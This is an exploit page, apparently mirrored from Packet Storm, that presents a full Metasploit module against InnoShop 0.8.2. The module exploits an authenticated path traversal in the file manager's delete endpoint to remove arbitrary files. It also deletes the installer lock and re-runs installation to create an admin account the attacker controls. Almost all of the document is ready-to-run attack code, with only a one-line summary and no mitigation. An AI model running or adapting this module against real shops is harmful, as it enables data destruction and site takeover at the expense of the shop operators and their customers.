Share
## https://sploitus.com/exploit?id=PACKETSTORM:223427
==================================================================================================================================
| # Title : InnoShop 0.8.2 File Manager arbitrary file deletion via path traversal |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://www.innoshop.com/ |
==================================================================================================================================
[+] Summary : This Metasploit module exploits a path traversal vulnerability in the InnoShop File Manager API.
The destroyFiles endpoint does not properly validate file paths, allowing an authenticated administrator to escape the intended media/storage sandbox using ../ sequences.
[+] POC :
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(
update_info(
info,
'Name' => 'InnoShop File Manager Arbitrary File Deletion (CVE-2026-48867)',
'Description' => %q{
Path traversal in InnoShop File Manager allows authenticated admin to delete arbitrary files
outside the sandbox. Can also delete installer lock to trigger reinstall flow.
},
'Author' => ['indoushka'],
'References' => [
['CVE', '2026-48867'],
['CWE', '22'],
['CWE', '73']
],
'License' => MSF_LICENSE,
'Actions' => [
['DELETE_FILE'],
['RESET_INSTALLER'],
['CHAIN_TAKEOVER']
],
'DefaultAction' => 'DELETE_FILE'
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('ADMIN_EMAIL', [true, 'Admin email', 'admin@innoshop.com']),
OptString.new('ADMIN_PASSWORD', [true, 'Admin password', 'Passw0rd2026']),
OptString.new('FILE_TO_DELETE', [false, 'Target file', 'storage/logs/laravel.log']),
OptInt.new('TRAVERSAL_DEPTH', [true, 'Traversal depth', 3]),
OptString.new('NEW_ADMIN_EMAIL', [false, 'New admin email', 'attacker@example.com']),
OptString.new('NEW_ADMIN_PASSWORD', [false, 'New password', 'Hacked@2026']),
OptBool.new('ForceExploit', [true, 'Allow destructive actions', false])
])
register_advanced_options([
OptInt.new('INSTALLER_WAIT', [true, 'Wait time', 3]),
OptBool.new('VERIFY_DELETION', [true, 'Verify deletion', false])
])
end
def traversal_prefix
'../' * datastore['TRAVERSAL_DEPTH']
end
def build_path(file)
file = file.sub(%r{^/}, '')
"#{traversal_prefix}#{file}"
end
def full_app_url
full_uri('')
end
def authenticate
print_status("Authenticating as #{datastore['ADMIN_EMAIL']}")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/panel/login'),
'ctype' => 'application/json',
'data' => {
email: datastore['ADMIN_EMAIL'],
password: datastore['ADMIN_PASSWORD']
}.to_json
})
return nil unless res&.code == 200
json = JSON.parse(res.body) rescue nil
token = json&.dig('data', 'token')
if token
print_good('Authentication successful')
return token
end
print_error('Auth failed')
nil
end
def delete_file(token, file)
res = send_request_cgi({
'method' => 'DELETE',
'uri' => normalize_uri(target_uri.path, 'api/panel/file_manager/files'),
'headers' => {
'Authorization' => "Bearer #{token}",
'Accept' => 'application/json'
},
'ctype' => 'application/json',
'data' => {
path: '/',
files: [file]
}.to_json
})
return false unless res
json = JSON.parse(res.body) rescue nil
json && json['success'] == true
end
def verify_deleted(file)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, file.gsub('../', ''))
})
res&.code == 404
end
def installer_accessible?
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'install')
})
return false unless res
res.code == 200 && res.body =~ /install/i
end
def delete_installer_lock(token)
delete_file(token, build_path('storage/installed'))
end
def reset_admin(token, email, pass)
return unless datastore['ForceExploit']
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'install/complete'),
'ctype' => 'application/json',
'data' => {
app_url: full_app_url,
database_hostname: 'localhost',
database_name: 'innoshop',
admin_email: email,
admin_password: pass,
admin_password_confirmation: pass
}.to_json
})
res&.code == 200
end
def run
token = authenticate
return print_error('Auth failed') unless token
case action.name
when 'DELETE_FILE'
file = build_path(datastore['FILE_TO_DELETE'])
print_status("Deleting: #{file}")
if delete_file(token, file)
print_good('Delete request successful')
verify_deleted(datastore['FILE_TO_DELETE']) if datastore['VERIFY_DELETION']
end
when 'RESET_INSTALLER'
print_status('Deleting installer lock')
if delete_installer_lock(token)
Rex.sleep(datastore['INSTALLER_WAIT'])
print_good("Installer: #{installer_accessible?}")
end
when 'CHAIN_TAKEOVER'
unless datastore['ForceExploit']
return print_error('Enable ForceExploit=true')
end
print_warning('DESTRUCTIVE MODE')
if delete_installer_lock(token)
Rex.sleep(datastore['INSTALLER_WAIT'])
email = datastore['NEW_ADMIN_EMAIL']
pass = datastore['NEW_ADMIN_PASSWORD']
print_status("Resetting admin -> #{email}")
if reset_admin(token, email, pass)
print_good("New credentials: #{email} / #{pass}")
end
end
end
report_vuln(
host: datastore['RHOSTS'],
port: datastore['RPORT'],
name: self.name,
refs: references
)
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================